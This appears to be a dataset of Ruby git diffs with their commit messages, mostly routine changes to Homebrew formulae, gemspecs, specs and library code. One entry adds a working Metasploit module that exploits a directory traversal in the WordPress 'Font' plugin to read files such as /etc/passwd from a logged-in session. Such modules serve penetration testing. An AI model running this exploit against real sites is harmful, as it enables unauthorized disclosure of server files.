diff
stringlengths
65
26.7k
message
stringlengths
7
9.92k
diff --git a/Formula/alac.rb b/Formula/alac.rb index abc1234..def5678 100644 --- a/Formula/alac.rb +++ b/Formula/alac.rb @@ -0,0 +1,12 @@+require 'formula' + +class Alac < Formula + homepage 'http://craz.net/programs/itunes/alac.html' + url 'http://craz.net/programs/itunes/files/alac_decoder-0.2.0.tgz' + md5 'cec75c35f010d36e7bed91935b57f2d1' + + def install + system "make", "CFLAGS=#{ENV.cflags}", "CC=#{ENV.cc}" + bin.install('alac') + end +end
Add the Apple Lossless Audio Codec decoder formula. Add a formula for the alac binary from http://craz.net/programs/itunes/alac.html. Closes Homebrew/homebrew#13017. Signed-off-by: Max Howell <mxcl@me.com> Renamed alac.
diff --git a/spec/models/post_spec.rb b/spec/models/post_spec.rb index abc1234..def5678 100644 --- a/spec/models/post_spec.rb +++ b/spec/models/post_spec.rb @@ -1,4 +1,13 @@ require 'rails_helper' describe Post do + describe "creating a post" do + context "after_save" do + let(:post) { create(:post, content: "Hello world.") } + + it "should update word_count" do + expect(post.word_count).to eq(2) + end + end + end end
Add spec for ensuring posts have a word_count after saving.
diff --git a/clockwork.gemspec b/clockwork.gemspec index abc1234..def5678 100644 --- a/clockwork.gemspec +++ b/clockwork.gemspec @@ -17,7 +17,7 @@ s.require_paths = ["lib"] s.add_dependency(%q<tzinfo>, ["~> 0.3.35"]) - s.add_dependency(%q<activesupport>, ["~> 4.0.0"]) + s.add_dependency(%q<activesupport>) s.add_development_dependency "bundler", "~> 1.3" s.add_development_dependency "rake"
Remove activesupport version specification to work with any Rails version This does not mean we ensure clockwork works correctly with any version of activesupport. Support for old version is best effort.
diff --git a/rb/lib/selenium/webdriver/firefox/bridge.rb b/rb/lib/selenium/webdriver/firefox/bridge.rb index abc1234..def5678 100644 --- a/rb/lib/selenium/webdriver/firefox/bridge.rb +++ b/rb/lib/selenium/webdriver/firefox/bridge.rb @@ -41,9 +41,9 @@ def quit super + nil + ensure @launcher.quit - - nil end private
JariBakken: Make sure Firefox shutdown happens even if the RPC fails. git-svn-id: 4179480af2c2519a5eb5e1e9b541cbdf5cf27696@16693 07704840-8298-11de-bf8c-fd130f914ac9
diff --git a/libraries/rbac.rb b/libraries/rbac.rb index abc1234..def5678 100644 --- a/libraries/rbac.rb +++ b/libraries/rbac.rb @@ -1,3 +1,8 @@+# This module is used to retain state during the course of a chef +# run. The LWRPs in the cookbook modify a global hash in this module, +# and at the end of the chef run if user authorizations change they +# are written out into the system. +# module RBAC def self.authorizations @authorizations ||= {}
Add comment around top-level RBAC module
diff --git a/parsley_simple_form.gemspec b/parsley_simple_form.gemspec index abc1234..def5678 100644 --- a/parsley_simple_form.gemspec +++ b/parsley_simple_form.gemspec @@ -19,7 +19,7 @@ spec.require_paths = ["lib"] spec.add_dependency("simple_form") - # spec.add_dependency("parsley-rails") + spec.add_dependency("parsley-rails") spec.add_development_dependency "bundler", "~> 1.3" spec.add_development_dependency "rake"
Add parsley-rails from gem spec
diff --git a/lib/configuration/yaml.rb b/lib/configuration/yaml.rb index abc1234..def5678 100644 --- a/lib/configuration/yaml.rb +++ b/lib/configuration/yaml.rb @@ -19,23 +19,29 @@ segments = [] @configuration[section]['segments'].each do |segment_config| - segment_style = generate_style(segment_config['style']) - segment = create_segment(segment_config['type'], segment_style) - segment_config.each do |key, value| - next if key == 'type' || key == 'style' - - begin - segment.send key+'=', value - rescue NoMethodError => e - #TODO: Log the exception - puts e.message - end - end - segments << segment + segments << generate_segment(segment_config) end unless @configuration[section]['segments'].nil? segments end + + def generate_segment(segment_config) + segment_style = generate_style(segment_config['style']) + segment = create_segment(segment_config['type'], segment_style) + segment_config.each do |key, value| + next if key == 'type' || key == 'style' + + begin + segment.send key+'=', value + rescue NoMethodError => e + #TODO: Log the exception + puts e.message + end + end + + segment + end + private :generate_segment def generate_style(style_config) style = create_style(style_config['type'])
Move the segment generation in another method
diff --git a/luban-cli.gemspec b/luban-cli.gemspec index abc1234..def5678 100644 --- a/luban-cli.gemspec +++ b/luban-cli.gemspec @@ -13,9 +13,9 @@ spec.homepage = "https://github.com/lubanrb/cli" spec.license = "MIT" - spec.files = `git ls-files`.split($/) + spec.files = `git ls-files`.split($/).grep(%r{^(?!spec|examples)}) spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) } - spec.test_files = spec.files.grep(%r{^(test|spec|features)/}) + spec.test_files = spec.files.grep(%r{^spec/}) spec.require_paths = ["lib"] spec.required_ruby_version = ">= 2.1.0"
Exclude examples and spec from the gem itself
diff --git a/lib/faker/default/team.rb b/lib/faker/default/team.rb index abc1234..def5678 100644 --- a/lib/faker/default/team.rb +++ b/lib/faker/default/team.rb @@ -5,22 +5,67 @@ flexible :team class << self + ## + # Produces a team name from a state and a creature. + # + # @return [String] + # + # @example + # Faker::Team.name #=> "Oregon vixens" + # + # @faker.version 1.3.0 def name parse('team.name') end + ## + # Produces a team creature. + # + # @return [String] + # + # @example + # Faker::Team.creature #=> "geese" + # + # @faker.version 1.3.0 def creature fetch('team.creature') end + ## + # Produces a team state. + # + # @return [String] + # + # @example + # Faker::Team.state #=> "Oregon" + # + # @faker.version 1.3.0 def state fetch('address.state') end + ## + # Produces a team sport. + # + # @return [String] + # + # @example + # Faker::Team.sport #=> "Lacrosse" + # + # @faker.version 1.5.0 def sport fetch('team.sport') end + ## + # Produces the name of a team mascot. + # + # @return [String] + # + # @example + # Faker::Team.mascot #=> "Hugo" + # + # @faker.version 1.8.1 def mascot fetch('team.mascot') end
Add YARD docs for Faker::Team
diff --git a/lib/fluent/plugin/fifo.rb b/lib/fluent/plugin/fifo.rb index abc1234..def5678 100644 --- a/lib/fluent/plugin/fifo.rb +++ b/lib/fluent/plugin/fifo.rb @@ -3,7 +3,9 @@ class Fifo include Forwardable - + + READ_TIMEOUT = 1 + class Pipe < ::File alias :orig_write :write def write(*args) @@ -33,7 +35,7 @@ end def readline - res = IO.select([@pipe], [], [], 1) + res = IO.select([@pipe], [], [], READ_TIMEOUT) return nil if res.nil? while nil == (idx = @buf.index("\n")) do
Use class variable for timeout of IO.select
diff --git a/core/db/migrate/20161017102621_create_spree_promotion_code_batch.rb b/core/db/migrate/20161017102621_create_spree_promotion_code_batch.rb index abc1234..def5678 100644 --- a/core/db/migrate/20161017102621_create_spree_promotion_code_batch.rb +++ b/core/db/migrate/20161017102621_create_spree_promotion_code_batch.rb @@ -1,7 +1,7 @@ class CreateSpreePromotionCodeBatch < ActiveRecord::Migration[5.0] def change create_table :spree_promotion_code_batches do |t| - t.references :promotion, null: false + t.references :promotion, null: false, index: true t.string :base_code, null: false t.integer :number_of_codes, null: false t.string :email @@ -26,5 +26,10 @@ :spree_promotion_code_batches, column: :promotion_code_batch_id ) + + add_index( + :spree_promotion_codes, + :promotion_code_batch_id + ) end end
Add indexes from promotion code batch
diff --git a/FootlessParser.podspec b/FootlessParser.podspec index abc1234..def5678 100644 --- a/FootlessParser.podspec +++ b/FootlessParser.podspec @@ -1,13 +1,12 @@ Pod::Spec.new do |s| - s.name = "FootlessParser" - s.version = "1.0" - s.summary = "A simple parser combinator written in Swift" - s.description = "FootlessParser is a simple and pretty naive implementation of a parser combinator in Swift. It enables infinite lookahead, non-ambiguous parsing with error reporting." - s.homepage = "https://github.com/kareman/FootlessParser" - s.license = { :type => "MIT", :file => "LICENSE.txt" } - s.author = { "Kare Morstol" => "kare@nottoobadsoftware.com" } - s.source = { :git => "https://github.com/kareman/FootlessParser.git", :tag => "1.0.0" } - s.source_files = "Sources/*.swift" - # Swift is not avalible on > 10.10 - s.osx.deployment_target = "10.10" + s.name = 'FootlessParser' + s.version = '1.0' + s.summary = 'A simple parser combinator written in Swift' + s.description = 'FootlessParser is a simple and pretty naive implementation of a parser combinator in Swift. It enables infinite lookahead, non-ambiguous parsing with error reporting.' + s.homepage = 'https://github.com/kareman/FootlessParser' + s.license = { type: 'MIT', file: 'LICENSE.txt' } + s.author = { 'Kare Morstol' => 'kare@nottoobadsoftware.com' } + s.source = { git: 'https://github.com/kareman/FootlessParser.git', branch: 'swift3.0' } + s.source_files = 'Sources/*.swift' + s.osx.deployment_target = '10.10' end
Use Ruby 2.0 syntax in pod spec and replace tag with branch
diff --git a/lib/dimples/plugin.rb b/lib/dimples/plugin.rb index abc1234..def5678 100644 --- a/lib/dimples/plugin.rb +++ b/lib/dimples/plugin.rb @@ -4,8 +4,10 @@ # A Ruby class that can receive events from Dimples as a site is processed. class Plugin EVENTS = %i[ - before_site_generation - after_site_generation + before_file_scanning + after_file_scanning + before_publishing + after_publishing before_post_write before_page_write after_post_write @@ -24,7 +26,7 @@ @site = site end - def process(event, item, &block); end + def process(event, item); end def supported_events []
Add file scanning and publishing events, kill the site generation event
diff --git a/lib/ar_transaction_changes.rb b/lib/ar_transaction_changes.rb index abc1234..def5678 100644 --- a/lib/ar_transaction_changes.rb +++ b/lib/ar_transaction_changes.rb @@ -1,39 +1,16 @@ require "ar_transaction_changes/version" module ArTransactionChanges - # rails 4.0.0: renamed create/update to create_record/update_record - # rails 4.0.6/4.1.2: prefixed create_record/update_record with an underscore - create_or_update_method_format = ["_%s_record", "%s_record", "%s"].detect do |format| - ["create", "update"].all? do |action| - method_name = format % action - ActiveRecord::Persistence.private_method_defined?(method_name.to_sym) + def run_callbacks(kind, &block) + ret = super + case kind.to_sym + when :create, :update + store_transaction_changed_attributes if ret != false + when :commit, :rollback + @transaction_changed_attributes = nil end - end or raise "Failed to find create/update record methods to monkey patch" - create_method_name = (create_or_update_method_format % "create").to_sym - update_method_name = (create_or_update_method_format % "update").to_sym - define_method(create_method_name) do |*args| - super(*args).tap do |status| - store_transaction_changed_attributes if status != false - end - end - - define_method(update_method_name) do |*args| - super(*args).tap do |status| - store_transaction_changed_attributes if status != false - end - end - - def committed!(*) - super - ensure - @transaction_changed_attributes = nil - end - - def rolledback!(*) - super - ensure - @transaction_changed_attributes = nil + ret end def transaction_changed_attributes
Use the more stable run_callbacks API method for forward compatiblity.
diff --git a/lib/chimpdoc/dropbox_setup.rb b/lib/chimpdoc/dropbox_setup.rb index abc1234..def5678 100644 --- a/lib/chimpdoc/dropbox_setup.rb +++ b/lib/chimpdoc/dropbox_setup.rb @@ -44,6 +44,11 @@ end end + def prompt_for_authorisation(session) + puts "Please visit #{session.get_authorize_url} and hit 'Allow', then hit Enter here:" + STDIN.gets.chomp + end + def config config = { app_key: app_key, @@ -54,8 +59,4 @@ puts config end - def prompt_for_authorisation(session) - puts "Please visit #{session.get_authorize_url} and hit 'Allow', then hit Enter here:" - STDIN.gets.chomp - end end
Improve readability by moving some methods around.
diff --git a/features/step_definitions/image_steps.rb b/features/step_definitions/image_steps.rb index abc1234..def5678 100644 --- a/features/step_definitions/image_steps.rb +++ b/features/step_definitions/image_steps.rb @@ -1,7 +1,9 @@ When(/^I select an image for the (?:detailed guide|publication)$/) do within ".images" do attach_file "File", jpg_image - find(".js-upload-image-input").click # Click event necessary for fieldset cloning. + # Click event necessary for fieldset cloning - attaching file doesn't seem + # to trigger the click event + page.execute_script("document.querySelector('.js-upload-image-input').dispatchEvent(new CustomEvent('click', { bubbles: true }))") fill_in "Alt text", with: "minister of funk", match: :first end end
Fix selenium error for forcing click on input type=file There is a JS event handler on the input field that needs a click event, this needs to be done synthetically as chromedriver no longer allows clicking a file input (oddly).
diff --git a/test/features/anonymous_user_cant_view_agreements_test.rb b/test/features/anonymous_user_cant_view_agreements_test.rb index abc1234..def5678 100644 --- a/test/features/anonymous_user_cant_view_agreements_test.rb +++ b/test/features/anonymous_user_cant_view_agreements_test.rb @@ -0,0 +1,58 @@+require "test_helper" + +class AnonymousUserCantViewAgreementsTest < Capybara::Rails::TestCase + include Warden::Test::Helpers + after { Warden.test_reset! } + + def generate_pdf(agreement, agreement_revision) + provider_organization = Organization.find(agreement.service_provider_organization_id) + consumer_organization = Organization.find(agreement.service_consumer_organization_id) + file_name = "TEST-CID-#{agreement.id}-#{agreement_revision.revision_number}_#{provider_organization.initials.upcase}_#{consumer_organization.initials.upcase}.pdf" + file_path = Rails.root.join('test/files/test-agreement/', file_name) + File.open(file_path, 'wb') {|f| f.write("Hello World")} + agreement_revision.upload_pdf(file_name, file_path) + end + + def create_valid_service! + service = Service.create!( + organization: organizations(:sii), + name: 'test-service', + spec_file: StringIO.new(VALID_SPEC), + backwards_compatible: true + ) + service.create_first_version(users(:pedro)) + service + end + + def create_valid_agreement!(orgp, orgc) + service = create_valid_service! + agreement = Agreement.create!( + service_provider_organization: orgp, + service_consumer_organization: orgc, + user: users(:pedro), + services: [service]) + generate_pdf(agreement, agreement.agreement_revisions.first) + agreement + end + + test "anonymous user can't view agreements list" do + agreement = create_valid_agreement!(organizations(:segpres), organizations(:sii)) + visit organization_agreements_path(agreement.service_consumer_organization) + assert page.has_no_content?("Convenios Subsecretaría General de La Presidencia") + assert page.has_content?("Para revisar convenios por favor identifíquese con su clave única") + end + + test "anonymous user can't create new agreement" do + agreement = create_valid_agreement!(organizations(:segpres), organizations(:sii)) + visit new_organization_agreement_path(agreement.service_consumer_organization) + assert page.has_no_content?("Crear Nuevo Convenio Subsecretaría General de La Presidencia") + assert page.has_content?("Para crear convenios por favor identifíquese con su clave única") + end + + test "anonymous user can't create new agreement revision" do + agreement = create_valid_agreement!(organizations(:segpres), organizations(:sii)) + visit new_organization_agreement_agreement_revision_path(agreement.service_consumer_organization, agreement) + assert page.has_no_content?("Nueva Versión") + assert page.has_content?("Para crear convenios por favor identifíquese con su clave única") + end +end
Add test for secure agreements to anonimous users
diff --git a/modules/auxiliary/scanner/http/wp_font_file_read.rb b/modules/auxiliary/scanner/http/wp_font_file_read.rb index abc1234..def5678 100644 --- a/modules/auxiliary/scanner/http/wp_font_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_font_file_read.rb @@ -0,0 +1,94 @@+## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress Font File Read Vulnerability', + 'Description' => %q{ + This module exploits an authenticated directory traversal + vulnerability in WordPress Plugin "Font" version 7.4, + allowing to read arbitrary files with the web server privileges. + }, + 'References' => + [ + ['WPVDB', '8214'], + ['CVE', '2015-7683'], + ['PACKETSTORM', '133930'] + ], + 'Author' => + [ + 'David Moore', # Vulnerability Discovery + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('WP_USERNAME', [true, 'A valid username', nil]), + OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil]), + OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']) + ], self.class) + end + + def user + datastore['WP_USERNAME'] + end + + def password + datastore['WP_PASSWORD'] + end + + def check + check_plugin_version_from_readme('font', '7.5.1') + end + + def run_host(ip) + vprint_status("#{peer} - Trying to login as: #{user}") + cookie = wordpress_login(user, password) + fail_with(Failure::NoAccess, "#{peer} - Unable to login as: #{user}") if cookie.nil? + + filename = datastore['FILEPATH'] + filename = filename[1, filename.length] if filename =~ %r{/^///} + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_plugins, 'font', 'AjaxProxy.php'), + 'vars_post' => { + 'url' => "#{filename}", + 'data[version]' => 7.4, + 'format' => 'json', + 'action' => 'cross_domain_request' + }, + 'cookie' => cookie + ) + + if res && res.code == 200 && res.body.length > 0 + vprint_line("#{res.body}") + fname = datastore['FILEPATH'] + + path = store_loot( + 'font.traversal', + 'text/plain', + ip, + res.body, + fname + ) + + print_good("#{peer} - File saved in: #{path}") + else + print_error("#{peer} - Nothing was downloaded. You can try to change the FILEPATH.") + end + end + +end
Add WP Font File Read Vulnerability Module
diff --git a/Library/Formula/tor.rb b/Library/Formula/tor.rb index abc1234..def5678 100644 --- a/Library/Formula/tor.rb +++ b/Library/Formula/tor.rb @@ -8,7 +8,7 @@ depends_on 'libevent' def patches - {:p0 => 'http://gist.github.com/raw/344132/d27d1cd3042d7c58120688d79ed25a2fc959a2de/config.guess-x86_64patch.diff' } + {:p0 => 'https://gist.github.com/raw/344132/d27d1cd3042d7c58120688d79ed25a2fc959a2de/config.guess-x86_64patch.diff' } end def install
Use https for all GitHub URLs Signed-off-by: Adam Vandenberg <34c2b6407fd5a10249a15d699d40f9ed1782e98c@gmail.com>
diff --git a/lib/github_api/browser.rb b/lib/github_api/browser.rb index abc1234..def5678 100644 --- a/lib/github_api/browser.rb +++ b/lib/github_api/browser.rb @@ -1,4 +1,3 @@-require 'singleton' module GitHub class Browser include Singleton @@ -8,10 +7,12 @@ end def self.get(uri) + puts "Requesting #{URI.parse(self.base_uri + uri)}" Net::HTTP.get URI.parse(self.base_uri + uri) end def self.post(uri, options = {}) + puts "Requesting #{URI.parse(self.base_uri + uri)} with options: #{options}" Net::HTTP.post_form URI.parse(self.base_uri + uri), options end end
Add diagnostic messages to Browser.
diff --git a/test/vagrant-spec/configs/vagrant-spec.config.virtualbox.rb b/test/vagrant-spec/configs/vagrant-spec.config.virtualbox.rb index abc1234..def5678 100644 --- a/test/vagrant-spec/configs/vagrant-spec.config.virtualbox.rb +++ b/test/vagrant-spec/configs/vagrant-spec.config.virtualbox.rb @@ -3,7 +3,8 @@ Vagrant::Spec::Acceptance.configure do |c| c.component_paths << File.expand_path("../test/acceptance", __FILE__) c.skeleton_paths << File.expand_path("../test/acceptance/skeletons", __FILE__) - + # Allow for slow setup to still pass + c.assert_retries = 15 c.provider "virtualbox", box: ENV["VAGRANT_SPEC_BOX"], contexts: ["provider-context/virtualbox"]
Extend assert retries to allow for slow setup
diff --git a/lib/inpost/html_helper.rb b/lib/inpost/html_helper.rb index abc1234..def5678 100644 --- a/lib/inpost/html_helper.rb +++ b/lib/inpost/html_helper.rb @@ -0,0 +1,32 @@+module Inpost + module HtmlHelper + + EDITABLE_ATTRIBUTES = %i(id class) + + class << self + def machine_select_tag(collection: [], attributes: {}) + select_tag_template = "<select%s>%s</select>" + option_tag_template = "<option id='%s'>%s</option>" + + select_options = collection.reduce('') do |agg, machine| + option_label = "%s, %s (%s)" % [machine['city'], machine['street'], machine['province']] + option_value = machine['id'] + agg += option_tag_template % [option_value, option_label] + end + + setable_attributes = attributes.select do |k,v| + EDITABLE_ATTRIBUTES.include?(k) + end + + select_attributes = setable_attributes.reduce('') do |agg,(key, value)| + agg += " %s='%s'" % [key, value] + end || '' + + result_html = select_tag_template % [select_attributes, select_options] + + result_html + end + + end + end +end
Add machines converter to html select tag
diff --git a/lib/fastlane/actions/slack.rb b/lib/fastlane/actions/slack.rb index abc1234..def5678 100644 --- a/lib/fastlane/actions/slack.rb +++ b/lib/fastlane/actions/slack.rb @@ -25,7 +25,8 @@ notifier = Slack::Notifier.new url notifier.username = 'fastlane' - notifier.channel = "##{options[:channel]}" if options[:channel].to_s.length > 0 + notifier.channel = "#{options[:channel]}" if options[:channel].to_s.length > 0 + notifier.channel = "##{notifier.channel}" unless ["#", "@"].include? notifier.channel[0] #send msg to channel by default test_result = { fallback: options[:message],
Allow to send direct messages to a specific user (using @nickname)
diff --git a/lib/guard/shotgun/notifier.rb b/lib/guard/shotgun/notifier.rb index abc1234..def5678 100644 --- a/lib/guard/shotgun/notifier.rb +++ b/lib/guard/shotgun/notifier.rb @@ -1,6 +1,16 @@ module Guard - class Shotgun + class Shotgun < Plugin class Notifier + + def self.notify(result) + message = guard_message(result) + options = { + title: 'guard-shotgun', + image: guard_image(result) + } + + ::Guard::Notifier.notify(message, options) + end def self.guard_message(result) case result @@ -23,12 +33,6 @@ end end - def self.notify(result) - message = guard_message(result) - image = guard_image(result) - - ::Guard::Notifier.notify(message, :title => 'guard-shotgun', :image => image) - end end end -end+end
Fix Notifier to new ::Guard::Notifier interface
diff --git a/lib/lokka/models/field.rb b/lib/lokka/models/field.rb index abc1234..def5678 100644 --- a/lib/lokka/models/field.rb +++ b/lib/lokka/models/field.rb @@ -10,4 +10,10 @@ belongs_to :field_name belongs_to :entry -end+ + %i|to_a to_ary|.each do |name| + define_method name do + # noop + end + end +end
Define to_a and to_ary to suppress meaningless query
diff --git a/lib/metamorpher/refactorer.rb b/lib/metamorpher/refactorer.rb index abc1234..def5678 100644 --- a/lib/metamorpher/refactorer.rb +++ b/lib/metamorpher/refactorer.rb @@ -10,6 +10,20 @@ literal = driver.parse(src) replacements = reduce_to_replacements(literal) Merger.new(src).merge(*replacements, &block) + end + + def refactor_file(path, &block) + changes = [] + refactored = refactor(File.read(path)) { |change| changes << change } + block.call(path, refactored, changes) if block + refactored + end + + def refactor_files(paths, &block) + paths.reduce({}) do |result, path| + result[path] = refactor_file(path, &block) + result + end end def builder
Add support for refactoring code contained in files.
diff --git a/Casks/steelseries-engine.rb b/Casks/steelseries-engine.rb index abc1234..def5678 100644 --- a/Casks/steelseries-engine.rb +++ b/Casks/steelseries-engine.rb @@ -2,6 +2,7 @@ version '3.7.1' sha256 '0f50666e3a97c81f2c3b3825d1d7d8fa7ec0d458b12aee4968dd5442af648c0c' + # steelseriescdn.com was verified as official when first introduced to the cask url "http://downloads.steelseriescdn.com/drivers/engine/SteelSeriesEngine#{version}.pkg" name 'SteelSeries Engine 3' homepage 'https://steelseries.com/engine'
Fix `url` stanza comment for SteelSeries Engine 3.
diff --git a/app/controllers/admin/base_controller.rb b/app/controllers/admin/base_controller.rb index abc1234..def5678 100644 --- a/app/controllers/admin/base_controller.rb +++ b/app/controllers/admin/base_controller.rb @@ -3,6 +3,10 @@ layout "admin" + # Clear out any root crumbs from ApplicationController (that's for the public + # site). + clear_crumbs + def empty render(:text => "", :layout => true) end
Fix unwanted root breadcrumbs in the admin.
diff --git a/app/controllers/syllabuses_controller.rb b/app/controllers/syllabuses_controller.rb index abc1234..def5678 100644 --- a/app/controllers/syllabuses_controller.rb +++ b/app/controllers/syllabuses_controller.rb @@ -18,6 +18,7 @@ # Creates syllabus handler def create @syllabus ||= @classroom.build_syllabus(params[:syllabus]) + @syllabus.user = current_user authorize!(params[:action].to_sym, @syllabus)
Add the user to syllabus upon creation.
diff --git a/app/helpers/localised_url_path_helper.rb b/app/helpers/localised_url_path_helper.rb index abc1234..def5678 100644 --- a/app/helpers/localised_url_path_helper.rb +++ b/app/helpers/localised_url_path_helper.rb @@ -1,12 +1,14 @@ module LocalisedUrlPathHelper - routes = Rails.application.routes.routes - localised = routes.select { |r| r.parts.include?(:locale) } - names = localised.map(&:name).compact + def self.included(klass) + routes = Rails.application.routes.routes + localised = routes.select { |r| r.parts.include?(:locale) } + names = localised.map(&:name).compact - # Override *_path and *_url methods for routes that take a locale param. - names.each do |name| - define_method(:"#{name}_path") { |*args| super(*localise(args)) } - define_method(:"#{name}_url") { |*args| super(*localise(args)) } + # Override *_path and *_url methods for routes that take a locale param. + names.each do |name| + klass.send(:define_method, "#{name}_path", -> (*args) { super(*localise(args)) }) + klass.send(:define_method, "#{name}_url", -> (*args) { super(*localise(args)) }) + end end # Set the locale based on the current locale serving the request. We don't do
Fix a problem with Module method inclusion Previously if the module was re-included its methods were not being re-defined. This caused strange behaviour in tests and resulted in failures in Admin::AdminGovspeakHelperTest. I’m not entirely sure why we need this.
diff --git a/app/helpers/overlapped_buttons_helper.rb b/app/helpers/overlapped_buttons_helper.rb index abc1234..def5678 100644 --- a/app/helpers/overlapped_buttons_helper.rb +++ b/app/helpers/overlapped_buttons_helper.rb @@ -3,8 +3,8 @@ overlapped_button_icon :fullscreen, :expand end - def restart_icon - overlapped_button_icon :restart, :undo + def restart_icon(data_placement='left') + overlapped_button_icon :restart, :undo, data_placement end def format_icon @@ -12,10 +12,14 @@ end def restart_guide_link(guide) - link_to restart_icon, guide_progress_path(guide), class: 'mu-content-toolbar-item mu-restart-guide', data: {confirm: t(:confirm_restart)}, method: :delete + link_to restart_icon('top'), + guide_progress_path(guide), + class: 'mu-content-toolbar-item mu-restart-guide', + data: {confirm: t(:confirm_restart)}, + method: :delete end - def overlapped_button_icon(key, icon) - fa_icon(icon, title: t(key), class: 'fa-fw', role: 'button', 'aria-label': t(key), 'data-placement': 'left') + def overlapped_button_icon(key, icon, data_placement='left') + fa_icon(icon, title: t(key), class: 'fa-fw', role: 'button', 'aria-label': t(key), 'data-placement': data_placement) end end
Fix wrong tooltip placement on guide reset icon
diff --git a/app/helpers/spree/admin/slides_helper.rb b/app/helpers/spree/admin/slides_helper.rb index abc1234..def5678 100644 --- a/app/helpers/spree/admin/slides_helper.rb +++ b/app/helpers/spree/admin/slides_helper.rb @@ -4,6 +4,8 @@ def get_column_header_by_type(type) return Spree.t(:name) if type == :image return Spree.t(:product) if type == :product + + return '----' end def get_image_link_by_type(slide, type)
Return string when type does not match for column header
diff --git a/app/services/entry/save_entry_service.rb b/app/services/entry/save_entry_service.rb index abc1234..def5678 100644 --- a/app/services/entry/save_entry_service.rb +++ b/app/services/entry/save_entry_service.rb @@ -14,7 +14,7 @@ entries_array.each(&:save) end - return valid_entries + valid_entries else entry = @account.entries.new(@entry_params) entry.save
Update return on save antry service
diff --git a/NSData+TDTImageMIMEDetection.podspec b/NSData+TDTImageMIMEDetection.podspec index abc1234..def5678 100644 --- a/NSData+TDTImageMIMEDetection.podspec +++ b/NSData+TDTImageMIMEDetection.podspec @@ -5,7 +5,7 @@ s.homepage = "https://github.com/talk-to/NSData-ImageMIMEDetection" s.license = { :type => 'BSD' } s.author = { 'Ayush Goel' => 'ayush.g@directi.com' } - s.source = { :git => "git@github.com:talk-to/NSData-ImageMIMEDetection.git", :tag => '#{s.version}' } + s.source = { :git => "git@github.com:talk-to/NSData-ImageMIMEDetection.git", :tag => "#{s.version}" } s.ios.deployment_target = '7.0' s.requires_arc = true
Use double quotes in podspec
diff --git a/Library/Formula/readline.rb b/Library/Formula/readline.rb index abc1234..def5678 100644 --- a/Library/Formula/readline.rb +++ b/Library/Formula/readline.rb @@ -4,6 +4,7 @@ homepage 'http://tiswww.case.edu/php/chet/readline/rltop.html' url 'ftp://ftp.cwru.edu/pub/bash/readline-6.2.tar.gz' sha256 '79a696070a058c233c72dd6ac697021cc64abd5ed51e59db867d66d196a89381' + version '6.2.1' keg_only <<-EOS OS X provides the BSD libedit library, which shadows libreadline.
Add explicit version number for Readline. Signed-off-by: Adam Vandenberg <34c2b6407fd5a10249a15d699d40f9ed1782e98c@gmail.com>
diff --git a/lib/gitlab/version.rb b/lib/gitlab/version.rb index abc1234..def5678 100644 --- a/lib/gitlab/version.rb +++ b/lib/gitlab/version.rb @@ -44,7 +44,7 @@ when "GITLAB_SHELL_VERSION" "git@dev.gitlab.org:gitlab/gitlab-shell.git" when "GITLAB_WORKHORSE_VERSION" - "https://gitlab.com/gitlab-org/gitlab-workhorse.git" + "git@dev.gitlab.org:gitlab/gitlab-workhorse.git" else nil end
Switch to dev for workhorse source, again.
diff --git a/lib/tachikoma/settings.rb b/lib/tachikoma/settings.rb index abc1234..def5678 100644 --- a/lib/tachikoma/settings.rb +++ b/lib/tachikoma/settings.rb @@ -27,4 +27,14 @@ def self.repos_path=(repos_path) @repos_path = Pathname.new File.expand_path(repos_path) end + + # /path/to/gem/tachikoma + def self.original_root_path + @original_root_path ||= Pathname.new File.expand_path(File.join(File.dirname(__FILE__), '..', '..')) + end + + # /path/to/gem/tachikoma/data + def self.original_data_path + @original_data_path ||= original_root_path.join('data') + end end
Add gem data, root path
diff --git a/lib/booking.rb b/lib/booking.rb index abc1234..def5678 100644 --- a/lib/booking.rb +++ b/lib/booking.rb @@ -0,0 +1,37 @@+class Booking < ActiveRecord::Base + validates_presence_of :debit_account, :credit_account, :title, :amount, :value_date + + belongs_to :debit_account, :foreign_key => 'debit_account_id', :class_name => "Accounting::Account" + belongs_to :credit_account, :foreign_key => 'credit_account_id', :class_name => "Accounting::Account" + + belongs_to :reference, :polymorphic => true + + # Standard methods + def to_s(format = :default) + case format + when :short + "#{value_date.strftime('%d.%m.%Y')}: #{credit_account.code} / #{debit_account.code} CHF #{sprintf('%0.2f', amount.currency_round)} " + else + "#{value_date.strftime('%d.%m.%Y')}: #{credit_account.title} (#{credit_account.code}) an #{debit_account.title} (#{debit_account.code}) CHF #{sprintf('%0.2f', amount.currency_round)}, #{title} " + + (comments.blank? ? "" :"(#{comments})") + end + end + + def accounted_amount(account) + if credit_account == account + return amount + elsif debit_account == account + return -(amount) + else + return 0.0 + end + end + + # Hooks + after_save :notify_references + + private + def notify_references + reference.booking_saved(self) if reference.respond_to?(:booking_saved) + end +end
Add de-namespaced Booking class. Stupid copy paste, probably to be dropped again.
diff --git a/lib/meem/templates.rb b/lib/meem/templates.rb index abc1234..def5678 100644 --- a/lib/meem/templates.rb +++ b/lib/meem/templates.rb @@ -12,8 +12,9 @@ # Returns an Array of Pathname instances. def self.list PATHS.map do |path| + next unless File.exists?(path) path.children.select { |child| child.extname == ".jpg" } - end.flatten + end.compact.flatten end # Find a given template.
Handle when optional folders don't exist.
